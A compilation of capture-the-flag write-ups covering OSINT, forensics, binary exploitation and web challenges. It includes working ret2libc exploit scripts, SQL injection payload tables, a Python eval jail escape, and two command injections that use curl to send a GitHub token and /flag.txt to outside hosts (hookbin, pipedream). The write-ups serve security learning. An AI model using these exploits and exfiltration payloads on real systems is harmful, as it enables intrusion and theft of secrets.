### CHALLENGE DESCRIPTIONDetective NeeP had dealt with a case of a firm recruiting scammers for stealing payment accounts. Find the coordinator's phone number, the scam company name and website of the lumber store.
First of all we need to search who is NeeP... google find some twitter account, and one is:https://twitter.com/neepscambaitingNeeP is a real life person which fight about the scammers. It also has a youtube channel, so i spent some times looking for info... But there are so many cases...At this point i decided to try a specific words google research.
the first site contains all the informations we are looking for!So the number of the coordinator is `9911834488`, and the company name is `Navkar Infotech`. The website could be find at google maps link:
# FLAG`darkCTF{9911834488_Navkar_Infotech_mayurply.com}` |
To find the url i did a "regular expression search" for the string "http". Then i search between the 66 results.One of the result is a zip file and the url contains the word "download" so i guessed this is the right link
# FLAG`darkCTF{http://aries.dccircle34.com/realitydownloadgo/c4d37739ca3dc3ed2d4852395d5ed228/784b4647446e334c58556e5473326556422e624f612e51432e4a6472/2019/07/31/PencakSilat2_1.zip}` |
# Return To What
If you have not already, follow us on Twitter for updates and content! [@RagnarSecurity](https://twitter.com/ragnarsecurity)
This was a medium level difficulty PWN challenge. We were only given a binary and it involved ROP and ret2gotc.
The first thing to do is perform a checksec.
```bash$ checksec return-to-what[*] '/home/mwittner/Documents/ctf-writeups/downunder-ctf/pwn/return-to-what/return-to-what' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)mwittner@ubuntu:[~/Documents/ctf-writeu```As we can tell, there is nothing particular special about this binary in terms of security flags.
Standard input seemed pretty standard. Looked for some input, and then exited.
```WittsEnd2@ubuntu:[~/Documents/ctf-writeups/downunder-ctf/pwn/return-to-what]$ ./return-to-what Today, we'll have a lesson in returns.Where would you like to return to?helloWittsEnd2@ubuntu:[~/Documents/ctf-writeups/downunder-ctf/pwn/return-to-what]$ ```
```c// This is from Ghidraundefined8 main(void)
{ puts("Today, we\'ll have a lesson in returns."); vuln(); return 0;}
``````c void vuln(void)
{ char local_38 [48]; puts("Where would you like to return to?"); gets(local_38); return;}```Next I examined the program in Ghidra to determine whether there were any interesting functions to use. There was no `/bin/sh` in the binary nor a call so system. There were calls to puts; thus, it looked like the only avenue of attack.
The steps that I did to craft the exploit were as followed
1. I leaked the address of puts in libc relative to the binary. 2. I calculated the base address of libc by taking the leaked address and subtracting it by the offset of puts relative to the base. 3. I found a `/bin/sh` in the libc.4. Call `execv('/bin/sh',0 ,0)` and SHELL!
There was just one major problems... We needed the correct version of libc.
After doing some research, I eventually asked the challenge author and she gave me a helpful tool: [https://libc.blukat.me/](https://libc.blukat.me/). **KEEPT THIS BOOK MAKRED!** It is impossible to find by Googling (or I searched the wrong thing).
How this resource worked is I took the last three hex values of the `leaked puts address`, and then it came back with the correct libc.
Final exploit:
```pyfrom pwn import *
context(os='linux', arch='amd64')
# p = process('./return-to-what')p = remote('chal.duc.tf', 30003)binary = ELF('./return-to-what')rop = ROP(binary)libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')
junk = b'A'*56
rop.puts(binary.got['puts'])rop.call(binary.symbols['vuln'])
log.info("Stage 1 ROP chain:\n" + str(rop.dump()))
stage1 = junk + rop.chain()
p.recvuntil('Where would you like to return to?')p.sendline(stage1)p.recvline()
leaked_puts = p.recvline()[:8].strip().ljust(8,b'\x00')log.success ("Leaked puts@GLIBC: " + str(leaked_puts))leaked_puts=u64(leaked_puts)
libc.address = leaked_puts - libc.symbols['puts']
rop2 = ROP(libc)rop2.system(next(libc.search(b'/bin/sh\x00')), 0, 0)
# rop2 = ROP(binary)# rop2.call(libc.symbols['system'], (next(libc.search(b'/bin/sh\x00')), ))
log.info("Stage II ROP Chain: \n" + rop2.dump())stageII = junk + rop2.chain()p.recvuntil('Where would you like to return to?')p.sendline(stageII)p.recvline()p.interactive()``` |
### Follow up of Leak/Docs
After solving Docs, we have two repositories1. `ekoparty2020/ekoparty`2. `ekoparty2020/ekoparty-internal`
Both repositories have GitHub Actions enabled and the trigger is creating an issue in the public repository. It forwards issues into the privat repository, which has another GitHub Action implemented.
Lets look at the first action in the public repository:```name: Bounce issues from public repo to private repoon: issues: types: [opened]
jobs: issue-label-check: runs-on: ubuntu-latest steps: - name: Check trigger label if: ${{ !contains(github.event.issue.labels.*.name, 'Staff Report') }} run: | echo "No trigger label found, aborting workflow (not an error!)" exit 1 - name: Set up Python3 if: ${{ success() }} uses: actions/setup-python@v1 with: python-version: "3.7" - name: Checkout this repo if: ${{ success() }} uses: actions/checkout@v2 - name: Run the python3 script for this action if: ${{ success() }} env: # where the bounced issue came from SRC_REPO_TOKEN: ${{ secrets.GITHUB_TOKEN }} SRC_REPO_ISSUE: ${{ github.event.issue.number }} # where the bounced issue will go DST_REPO: 'ekoparty2020/ekoparty-internal' DST_REPO_TOKEN: ${{ secrets.INTERNAL_TOKEN }} run: | # external report to internal report pip3 install pyGithub pip3 install sh python3 .github/workflows/issue-bouncer.py
```
This is call when an issue is opened, after going through the steps it checks if the issues is labeled as "Staff Report", if ti has, it launches `issue-bouncer.py` which forwards the issue to the private repository:
```#!/usr/bin/env python3
# a simple way to make public issues private so people can report any issues to us in private
import osimport sysimport reimport hashlibimport time
import shfrom github import Github
def getenv(name): val = os.environ.get(name) if val == None: raise ValueError(f'No such environment variable: {name}') return val
def run(): # pull our repo access src_repo = Github(getenv('SRC_REPO_TOKEN')).get_repo(getenv('GITHUB_REPOSITORY')) dst_repo = Github(getenv('DST_REPO_TOKEN')).get_repo(getenv('DST_REPO')) # bounce to ekoparty-internal
# pull the src issue src_issue_id = int(getenv('SRC_REPO_ISSUE')) src_issue = src_repo.get_issue(src_issue_id)
# bounce a comment back to the src issue src_issue.create_comment('Thank you for submitting a staff report! This issue will be filed to the internal ekoparty2020 staff repo and triaged ASAP!')
# bounce the issue through to the internal repo dst_repo.create_issue(title=src_issue.title, body=src_issue.body, labels=[dst_repo.get_label('Staff Report')])
# update the source issue title and make contents private src_issue.edit(title="This issue has been filed with staff internal repo! Thanks!", body='', state='closed')
return 0
try: sys.exit(run())except Exception as e: print("Error: {0}".format(e)) sys.exit(1)```
Nothing interesting here, lets look at the code from the internal private repository, the action is the same, only difference is that it calls this script `issue-notify.py`:```#!/usr/bin/env python3
import osimport sysimport timeimport uuid
import shfrom github import Github
def getenv(name): val = os.environ.get(name) if val == None: raise ValueError(f'No such environment variable: {name}') return val
def issue_notify(title, body, repo): # just echo the body into the report repo at /tmp and our scraper script will pick them up and mail them out to staff@ notify_id = str(uuid.uuid4()) # only notify on very important issues to reduce spam! if 'very important' in title: os.system('echo "%s" > /tmp/%s' % (body, notify_id)) return
def run(): issue_notify(getenv('ISSUE_TITLE'), getenv('ISSUE_BODY'), Github(getenv('REPORT_TOKEN'))) return
try: sys.exit(run())except Exception as e: print("Error: {0}".format(e)) sys.exit(1)```
Nice! A `os.system` call with variable we control passed to it. Now we can do practically anything as we can execute anything remotely on using the system call. Looking around the code and at the challenge title `Env` I guess we need to leak the environmental variable. `ISSUE_TITLE` and `ISSUE_BODY` we already know, so the `REPORT_TOKEN` seems intereseting.
Also there needs to be`very important` in the issue title to go through! So two things, label, and `very important` in the issue title.
I created hook on hookbin.com and crafted the Issue body to make a `curl` call to my hookbin hook with the `REPORT_TOKEN` env variable as parameter.
So here is the issue title```[Staff Report] very important```
Here is the issue body:```"; curl -X POST "https://hookb.in/NO3ewGYmEGHWZZpRg7XZ?token="$REPORT_TOKEN; echo "1```
Which translated to this `os.system` call:```echo ""; curl -X POST "https://hookb.in/NO3ewGYmEGHWZZpRg7XZ?token="$REPORT_TOKEN; echo "1" > /tmp/1```
Then I just checked the hookbin for incoming request containing the flag as token query parameter. |
analyzing the file with autopsy, some mails were found. Looking through the headings and matedata of some, there were pieces of the flag
# FLAG`darkCTF{C0ntacts_4re_1mp0rtant}` |
The challenge page is a calculator that consists of a HTML form that returns results when given valid expression. The description says that Python is used for the calculations and that the calculator supports `%` operator.
"My mega calculator can do any calculations python will let you do. Use * + - / % to do complex problems if you want."
Looking at the description `%` stands out, so it is worth trying to use `%` as it is used for the old string formatting.
```python>>> "%s" % "it works!"it works! ```
Now check local variables:
```python>>> "%s" % eval("dir()")['form', 'items', 'out', 'user_input']
>>> "%s" % eval('form') <main.CalculatorInput object at 0x7f3b28151070> ```
Not much in here after looking around for a while.
A lot of Python jail escapes involve using `globals()` directly or indirectly (e.g. `"%s" % eval('form.__globals__')`) to import `os` and escape. In this environment `globals()` is explicitly forbidden, whether accessed directly or indirectly.
```python>>> "%s" % eval('globals()') Nice try....NOT. If you want to break my code you need to try harder ```
Another way to get to `import` is using builtins and it works fine.
```python>>> "%s" % eval("__builtins__['__import__']('os').listdir('.')")['uwsgi.ini', 'prestart.sh', 'main.py', '__pycache__', 'templates'] ```
Since the form output is whatever the entered statement returns, can't use `os.system` as its output is written to stdout. So simply calling os.system('cat something') wouldn't work.
But it is possible to use `os.open` and `os.read` to achieve the same goal. The first argument of `os.read` is a file descriptor (can get it using `os.open`) and the second is the number of bytes to read. The second argument of `os.open` is `flags`; `0` corresponds to `os.O_RDONLY` flag.
```python>>> "%s" % eval("__builtins__['__import__']('os').read(__builtins__['__import__']('os').open('./main.py', 0), 1000000)")b'' ```
Looks like it is not possible to read the Python file. Insufficient permissions?
It is worth trying to reading `__pycache__` and check out if there are any useful strings in the bytecode:
```python>>> "%s" % eval("__builtins__['__import__']('os').read(__builtins__['__import__']('os').open('./__pycache__/main.cpython-38.pyc', 0), 1000000)")b'U\r\r\n\x00\x00\x00\x00\xcd\x81X_[\x05\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00@\x00\x00\x00s\xb2\x00\x00\x00d\x00d\x01l\x00m\x01Z\x01\x01\x00d\x00d\x02l\x02m\x03Z\x03m\x04Z\x04m\x05Z\x05\x01\x00d\x00d\x03l\x06m\x07Z\x07m\x08Z\x08m\tZ\tm\nZ\n\x01\x00e\x03e\x0b\x83\x01Z\x0cd\x04e\x0cj\rd\x05<\x00d\x06d\x07d\x08d\td\nd\x0bd\x0cd\rd\x0ed\x0fd\x10g\x0bZ\x0ed\x11Z\x0fd\x12Z\x10G\x00d\x13d\x14\x84\x00d\x14e\x01\x83\x03Z\x11e\x0cj\x12d\x15d\x16d\x17g\x02d\x18\x8d\x02d\x19d\x1a\x84\x00\x83\x01Z\x13e\x0bd\x1bk\x02r\xaee\x0cj\x14d\x1cd\x1dd\x1ed\x1f\x8d\x03\x01\x00d S\x00)!\xe9\x00\x00\x00\x00)\x01\xda\tFlaskForm)\x03\xda\x05Flask\xda\x0frender_template\xda\x07request)\x04\xda\x04Form\xda\nvalidators\xda\x0bStringField\xda\x0bSubmitFieldZ\x1e7d441f27d441f27567d441f2b6176aZ\nSECRET_KEYZ\x06import\xda\x02os\xda\x03sys\xfa\x01;\xda\x05print\xda\n__import__Z\x06SECRETZ\x03KEY\xda\x03app\xda\x04open\xda\x07globalsz\tHYPA HYPAz\x18DUCTF{3v4L_1s_D4ng3r0u5}c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00@\x00\x00\x00s&\x00\x00\x00e\x00Z\x01d\x00Z\x02e\x03d\x01e\x04\xa0\x05\xa1\x00g\x01d\x02\x8d\x02Z\x06e\x07d\x03\x83\x01Z\x08d\x04S\x00)\x05\xda\x0fCalculatorInputZ\x0bCalculation)\x01r\x07\x00\x00\x00z\x10Calculate for meN)\t\xda\x08__name__\xda\n__module__\xda\x0c__qualname__r\x08\x00\x00\x00r\x07\x00\x00\x00Z\x0cDataRequired\xda\nuser_inputr\t\x00\x00\x00Z\x06submit\xa9\x00r\x17\x00\x00\x00r\x17\x00\x00\x00\xfa\t./main.pyr\x12\x00\x00\x00\x0c\x00\x00\x00s\x04\x00\x00\x00\x08\x01\x12\x01r\x12\x00\x00\x00\xfa\x01/Z\x03GET\xda\x04POST)\x01\xda\x07methodsc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x07\x00\x00\x00C\x00\x00\x00sb\x00\x00\x00t\x00\x83\x00}\x00d\x01}\x01t\x01j\x02d\x02k\x02rTt\x01j\x03d\x03\x19\x00}\x02t\x04D\x00]0}\x03|\x03|\x02k\x06r4d\x04}\x01q"z\x0ct\x05|\x02\x83\x01}\x01W\x00q"\x01\x00\x01\x00\x01\x00d\x05}\x01Y\x00q"X\x00q"t\x06d\x06|\x00|\x01d\x07\x8d\x03S\x00)\x08N\xda\x00r\x1a\x00\x00\x00r\x16\x00\x00\x00zDNice try....NOT. If you want to break my code you need to try harderz\x87You caused an error... because my friend told me showing errors to hackers can be problematic I am not going to tell you what you brokez\x0fcalculator.html)\x02\xda\x04form\xda\x03out)\x07r\x12\x00\x00\x00r\x05\x00\x00\x00\xda\x06methodr\x1d\x00\x00\x00\xda\tblacklist\xda\x04evalr\x04\x00\x00\x00)\x04r\x1d\x00\x00\x00r\x1e\x00\x00\x00r\x16\x00\x00\x00\xda\x05itemsr\x17\x00\x00\x00r\x17\x00\x00\x00r\x18\x00\x00\x00\xda\x08mainpage\x10\x00\x00\x00s\x18\x00\x00\x00\x00\x02\x06\x01\x04\x01\n\x01\n\x02\x08\x01\x08\x01\x06\x02\x02\x02\x0c\x01\x06\x01\x0c\x02r#\x00\x00\x00\xda\x08__main__z\x070.0.0.0Ti9\x1b\x00\x00)\x03Z\x04host\xda\x05debugZ\x04portN)\x15Z\tflask_wtfr\x02\x00\x00\x00Z\x05flaskr\x03\x00\x00\x00r\x04\x00\x00\x00r\x05\x00\x00\x00Z\x07wtformsr\x06\x00\x00\x00r\x07\x00\x00\x00r\x08\x00\x00\x00r\t\x00\x00\x00r\x13\x00\x00\x00r\x0f\x00\x00\x00Z\x06configr \x00\x00\x00Z\x14maybe_not_maybe_thisZ\x14maybe_this_maybe_notr\x12\x00\x00\x00\xda\x05router#\x00\x00\x00\xda\x03runr\x17\x00\x00\x00r\x17\x00\x00\x00r\x17\x00\x00\x00r\x18\x00\x00\x00\xda\x08<module>\x01\x00\x00\x00s\x18\x00\x00\x00\x0c\x01\x14\x01\x18\x02\x08\x01\n\x02\x1a\x01\x04\x01\x04\x02\x10\x04\x10\x01\n\x12\x08\x01' ```
The flag is in the bytecode: `DUCTF{3v4L_1s_D4ng3r0u5}`. Maybe there was a more straightforward way to get here? |
```py# 32 bit ret2libc
from pwn import *
local = False
elf = ELF('./newPaX')
host = 'newpax.darkarmy.xyz'port = 5001
if local: p = elf.process() libc = ELF('/usr/lib32/libc.so.6')else: p = remote(host, port) libc = ELF('libc6-i386_2.27-3ubuntu1.2_amd64.so')
OFFSET = b'a' * 0x34
def get_addr(func): PRINTF_PLT = elf.plt['printf'] MAIN = elf.symbols['main'] FUNC_GOT = elf.got[func]
print('PRINTF_PLT: ' + hex(PRINTF_PLT)) print('MAIN: ' + hex(MAIN)) print(f'{func.upper()}_GOT: ' + hex(FUNC_GOT))
payload = OFFSET + p32(PRINTF_PLT) + p32(MAIN) + p32(FUNC_GOT)
print(payload) p.sendline(payload)
log.info('Leaking memory...')
received = p.recv(1024)[:4].strip() print(received)
leak = u32(received.ljust(4, b'\x00')) print(hex((leak)))
libc.address = leak - libc.symbols['printf']
get_addr('printf')
print('LIBC ADDRESS: ' + hex(libc.address))
BIN_SH = next(libc.search(b'/bin/sh'))SYSTEM = libc.symbols['system']EXIT = libc.symbols['exit']
print('BIN_SH: ' + hex(BIN_SH))print('SYSTEM: ' + hex(SYSTEM))print('EXIT: ' + hex(EXIT))
payload = OFFSET + p32(SYSTEM) + b'JUNK' + p32(BIN_SH)
p.sendline(payload)
p.interactive()``` |
##### Table of Contents- [Web](#web) - [Source](#source) - [So_Simple](#so-simple) - [Apache Logs](#apache-logs) - [Simple_SQL](#simple-sql) - [Dusty Notes](#dusty-notes) - [Agent U](#agent-u) - [PHP Information](#php-information) - [Chain Race](#chain-race)- [OSINT](#osint) - [Dark Social Web](#dark-social-web)- [Forensics](#forensics) - [AW](#aw)- [Crypto](#crypto) - [haxXor](#haxxor)- [Misc](#misc) - [Minetest 1](#minetest1)- [Linux](#linux) - [linux starter](#linux-starter) - [Secret Vault](#secret-vault) - [Squids](#squids)
# Web## Source#### Description>Don't know source is helpful or not !!
### SolutionWe get the source code of the challenge (you can see it below):```php<html> <head> <title>SOURCE</title> <style> #main { height: 100vh;} </style> </head> <body><center><link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> darkCTF{}</div>'); } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Ohhhhh!!! Very Close </div>'); } } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Nice!!! Near But Far</div>'); }} else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Ahhhhh!!! Try Not Easy</div>');}?></center>
darkCTF{}
Ohhhhh!!! Very Close
Nice!!! Near But Far
Ahhhhh!!! Try Not Easy
</body></html>```
In order to get the flag we need to pass the next validations:```php$web = $_SERVER['HTTP_USER_AGENT'];if (is_numeric($web)){ if (strlen($web) < 4){ if ($web > 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> darkCTF{}</div>');```- \$web = \$_SERVER['HTTP_USER_AGENT']; represents the User-Agent header- \$web needs to be numeric- \$web needs to have a length smaller than 4- \$web needs to be bigger than 10000
darkCTF{}
In PHP, we can provide numbers as exponentials expressions and what I mean by that are expressions like `5e52222`. This will translate into 5 * 10 ^ 52222.Knowing this, we fire up Burp, change the `User-Agent` to `9e9` which:- is numeric- has a length of 3- it is equals to 9000000000 which is bigger than 10000
After hitting send we get the flag.
Flag: darkCTF{changeing_http_user_agent_is_easy}
## So_Simple#### Description>"Try Harder" may be You get flag manually>>Try id as parameter### SolutionWe get a link that displays a simple page that says try harder. The only clue I could find on how to start finding a vulnarblity was from the description. I tried a get request with `id` as parameter with the value test and I compared the result with a request that does not have the parameter.
The left panel contains the response from the request with the `id` parameter set to `test`.
I noticed that the server responds with an additional `font` tag when the parameter is present, so I tried an input like `';"//` and I got a MySQL error. Now it is clear that the parameter is vulnerable to SQL injection. Below is a table with the payloads that I used and the results. I used as resource [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) repo.
Payload | Result | Summary--------|--------|--------`' union select 1, 2, group_concat("~", schema_name, "~") from information_schema.schemata where '1' = '1` | `~information_schema~,~id14831952_security~,~mysql~,~performance_schema~,~sys~` | Number of columns of current table and databases names`' union select 1, 2, group_concat("~", table_name, "~") from information_schema.tables where table_schema='id14831952_security` | `~emails~,~referers~,~uagents~,~users~` | Table names from id14831952_security`' union select 1, 2, group_concat("~", column_name, "~") from information_schema.columns where table_name='users` | `~id~,~username~,~password~,~USER~,~CURRENT_CONNECTIONS~,~TOTAL_CONNECTIONS~` | Column names from table users`' union select 1, 2, group_concat("~", username, "~") from users where 'a'='a` | `~LOL~,~Try~,~fake~,~its secure~,~not~,~dont read~,~try to think ~,~admin~,~flag~` | Values from column username, table users`' union select id, password, username from users where username='flag` | `darkCTF{uniqu3_ide4_t0_find_fl4g}` | Got the flag, it was in the password column
Flag: darkCTF{uniqu3_ide4_t0_find_fl4g}
## Apache Logs#### Description >Our servers were compromised!! Can you figure out which technique they used by looking at Apache access logs.>>flag format: DarkCTF{}
### SolutionWe get a text file with logs of the requests made. For example:```text192.168.32.1 - - [29/Sep/2015:03:28:43 -0400] "GET /dvwa/robots.txt HTTP/1.1" 200 384 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```
Looking into them, we can see that someone makes some login attempts, a registration and it tries a few endpoints. By the final of the file we have some SQL injection attempts. There are 3 interesting logs, let us look into them.
```text192.168.32.1 - - [29/Sep/2015:03:37:34 -0400] "GET /mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C+108%2C+97%2C+103%2C+32%2C+105%2C+115%2C+32%2C+83%2C+81%2C+76%2C+95%2C+73%2C+110%2C+106%2C+101%2C+99%2C+116%2C+105%2C+111%2C+110%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details HTTP/1.1" 200 9582 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=something&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```Notice that the `username` parameter contains what appears to be a SQLi payload. URL decoding it gives us `' union all select 1,String.fromCharCode(102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110),3 --+`. I used Javascript to convert the integers to characters with the next two lines of code:
```jslet integersArray = [102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110];let charactersArray = integersArray.map(nr =>String.fromCharCode(nr));console.log(charactersArray.join(''));```This gave me `flag is SQL_Injection`, but this is not the flag, I tried it. Let us look further.
```text192.168.32.1 - - [29/Sep/2015:03:38:46 -0400] "GET /mutillidae/index.php?csrf-token=&username=CHAR%28121%2C+111%2C+117%2C+32%2C+97%2C+114%2C+101%2C+32%2C+111%2C+110%2C+32%2C+116%2C+104%2C+101%2C+32%2C+114%2C+105%2C+103%2C+104%2C+116%2C+32%2C+116%2C+114%2C+97%2C+99%2C+107%29&password=&confirm_password=&my_signature=®ister-php-submit-button=Create+Account HTTP/1.1" 200 8015 "http://192.168.32.134/mutillidae/index.php?page=register.php" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```Decoding the payload gives us `CHAR(121, 111, 117, 32, 97, 114, 101, 32, 111, 110, 32, 116, 104, 101, 32, 114, 105, 103, 104, 116, 32, 116, 114, 97, 99, 107)` that represents `you are on the right track`. Cool, let us move forward.
```text192.168.32.1 - - [29/Sep/2015:03:39:46 -0400] "GET /mutillidae/index.php?page=client-side-control-challenge.php HTTP/1.1" 200 9197 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C%2B108%2C%2B97%2C%2B103%2C%2B32%2C%2B105%2C%2B115%2C%2B32%2C%2B68%2C%2B97%2C%2B114%2C%2B107%2C%2B67%2C%2B84%2C%2B70%2C%2B123%2C%2B53%2C%2B113%2C%2B108%2C%2B95%2C%2B49%2C%2B110%2C%2B106%2C%2B51%2C%2B99%2C%2B116%2C%2B49%2C%2B48%2C%2B110%2C%2B125%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```
Decoding the payload gives us a similar array of numbers that represents `flag is DarkCTF{5ql_1nj3ct10n}`
Flag: DarkCTF{5ql_1nj3ct10n}
## Simple_SQL#### Description>Try to find username and password>[Link](http://simplesql.darkarmy.xyz/)
### SolutionGoing to the provided link and looking at the source code of the page, we can see the next clue: ` `Firing up Burp and fuzzing around the `id` parameter, we notice that we can inject SQL with `1 or 2=2`, getting as a response `Username : LOL Password : Try `.
I wanted to know what are the first 10 entries, so I went with `id=1` and I stopped at `id=9` because that entry contains the flag, so no SQLi needed.
Flag: darkCTF{it_is_very_easy_to_find}
## Dusty Notes #### Description>Sometimes some inputs can lead to flagPS :- All error messages are intended ### SolutionWe get a link that gives us the next page:
Long story short, we can add and delete notes. Playing with some requests in Burp I noticed that the cookie changes on every new note added or deleted. It turns out the cookie stores an array of objects in the next form: `j:[{"id":1,"body":"Hack this"}]`I assume this is some kind of serialized value that I need to exploit (not really, keep reading), but I have no idea what programming language runs on the server, so I modified the cookie into `j:[{"id":1,"body":"Hack this"},{"id":1,"body":__FILE__}]` hoping to find out more.Fortunately, the server responded with an error message that tells us that the server runs on Node.js.```textTypeError: note.filter is not a function at /app/app.js:96:34 at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at /app/node_modules/express/lib/router/index.js:281:22 at param (/app/node_modules/express/lib/router/index.js:354:14) at param (/app/node_modules/express/lib/router/index.js:365:14) at Function.process_params (/app/node_modules/express/lib/router/index.js:410:3) at next (/app/node_modules/express/lib/router/index.js:275:10) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:91:12) at trim_prefix (/app/node_modules/express/lib/router/index.js:317:13) at /app/node_modules/express/lib/router/index.js:284:7 at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12) at next (/app/node_modules/express/lib/router/index.js:275:10) at urlencodedParser (/app/node_modules/body-parser/lib/types/urlencoded.js:82:7)```However, this doesn't give us much, so fuzzing a bit more I get the next error message for `j:[{"id":1,"body":["Hack this'"]}]`:
```json{"stack":"SyntaxError: Unexpected string\n at Object.if (/home/ctf/node_modules/dustjs-helpers/lib/dust-helpers.js:215:15)\n at Chunk.helper (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n at body_1 (evalmachine.<anonymous>:1:972)\n at Chunk.section (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n at body_0 (evalmachine.<anonymous>:1:847)\n at /home/ctf/node_modules/dustjs-linkedin/lib/dust.js:122:11\n at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Unexpected string"}```Looking into this response, I noticed the error is thrown from `dustjs`. I didn't know about it, but I searched for `dustjs exploit` and I found some good articles ([here's one](https://artsploit.blogspot.com/2016/08/pprce2.html)) about a RCE vulnerability.
It seems that dustjs uses eval for interpreting inputs. However, the library does sanitize the input if *it is a string*. Providing anything else as input will let us bypass the sanitization and we can provide an array when creatin a new message.
I didn't find a way to return the content of the flag inside the response, so I had to send it to a remote server (I used [pipedream](https://pipedream.com) as host).Adjust the payload used in the article, we'll have the next request:
```textGET /addNotes?message[]=x&message[]=y'-require('child_process').exec('curl%20-F%20"x%3d`cat%20/flag.txt`"%20https://en5dsa3dt3ggpvb.m.pipedream.net')-' HTTP/1.1```This will make `message` an array, so it will bypass the sanitization, and it will take the content of `/flag.txt` and send it with curl to my host. Going to pipedream I can see the flag.
Flag: darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}
## Agent U#### Description>Agent U stole a database from my company but I don't know which one. Can u help me to find it?>>http://agent.darkarmy.xyz/>>flag format darkCTF{databasename}### SolutionGoing to the given link we see a simple page with a login form. Looking at the source code we see the next line: ` `.Using these credentials, the server responds with the same page plus the next information:```textYour IP ADDRESS is: 141.101.96.206<font color= "#FFFF00" font size = 3 ></font><font color= "#0000ff" font size = 3 >Your User Agent is: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0</font>```Based on the challenge title and description I tried to insert some SQL injection into the User-Agent header.
I used as input `U'"` and got a MySQL error message. Cool.The error message is: `You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"', '141.101.96.206', 'admin')' at line 1`
From this point on I tried a lot of things like UNION SELECT, GROUP_CONCAT, type conversion etc., but nothing worked.In the end, I tried to call a a function that I assumed it doesn't exist and, since the functions are attached to the database, the response gave me the name of the database: `ag3nt_u_1s_v3ry_t3l3nt3d`
Flag: darkCTF{ag3nt_u_1s_v3ry_t3l3nt3d}
## PHP Information#### Description>Let's test your php knowledge.>>Flag Format: DarkCTF{}>>http://php.darkarmy.xyz:7001### SolutionGoing to that link we get the source code of a php page. It seems that we need to pass some conditions in order to get the flag.
First condition:```phpif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['darkctf'])){ $darkctf = $res['darkctf']; }}
if ($darkctf === "2020"){ echo "<h1 style='color: chartreuse;'>Flag : $flag</h1>";} ```We need to provide a query parameter with the name `darkctf` and the value `2020`. This will not give us the flag, but the first part of it: `DarkCTF{`
Second condition:```phpif ($_SERVER["HTTP_USER_AGENT"] === base64_decode("MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_1</h1>";} ```We need to change the value from User-Agent header to match the decoded value of `MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==` which is `2020_the_best_year_corona`. Thill will get use the second part of the flag: `very_`
Third condition:```phpif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['ctf2020'])){ $ctf2020 = $res['ctf2020']; } if ($ctf2020 === base64_encode("ZGFya2N0Zi0yMDIwLXdlYg==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_2</h1>"; } } }```We need to provide a query string parameter with the name `ctf2020` and the value must be the base64 *encoded* value of `ZGFya2N0Zi0yMDIwLXdlYg==`.This gives us `nice`.
